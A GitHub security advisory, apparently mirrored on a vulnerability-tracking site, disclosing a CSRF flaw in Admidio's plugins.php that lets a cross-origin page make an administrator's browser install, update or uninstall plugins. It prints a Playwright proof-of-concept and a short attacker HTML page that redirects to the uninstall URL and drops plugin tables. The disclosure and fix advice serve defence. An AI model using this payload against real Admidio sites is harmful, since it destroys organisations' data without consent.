GHSA-HM42-Q32M-VJ4F

Vulnerability from github – Published: 2026-07-09 13:44 – Updated: 2026-07-09 13:44
VLAI
Summary
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Details

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});

Simplified attacker page (csrf.html hosted on attacker origin):

<html>
<body>
<script>
  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:44:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027);\n$pluginName = admFuncVariableIsValid($_GET, \u0027name\u0027, \u0027string\u0027);\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin\u0027s `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator\u0027s browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require(\u0027@playwright/test\u0027);\n\ntest(\u0027CSRF plugin uninstall via cross-origin redirect\u0027, async ({ browser }) =\u003e {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto(\u0027https://admidio.example.com/adm_program/system/login.php\u0027);\n    await page.fill(\u0027#usr_login_name\u0027, \u0027admin\u0027);\n    await page.fill(\u0027#usr_password\u0027, \u0027password\u0027);\n    await page.click(\u0027#btn_login\u0027);\n    await page.waitForURL(\u0027**/overview.php\u0027);\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   \u003cscript\u003ewindow.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\u003c/script\u003e\n    await page.goto(\u0027https://attacker.example.com/csrf.html\u0027);\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL(\u0027**/plugins.php*\u0027);\n\n    // Verify the plugin was uninstalled\n    await page.goto(\u0027https://admidio.example.com/adm_program/modules/plugins.php\u0027);\n    const content = await page.content();\n    expect(content).not.toContain(\u0027birthday\u0027);\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  window.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-hm42-q32m-vj4f",
  "modified": "2026-07-09T13:44:40Z",
  "published": "2026-07-09T13:44:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…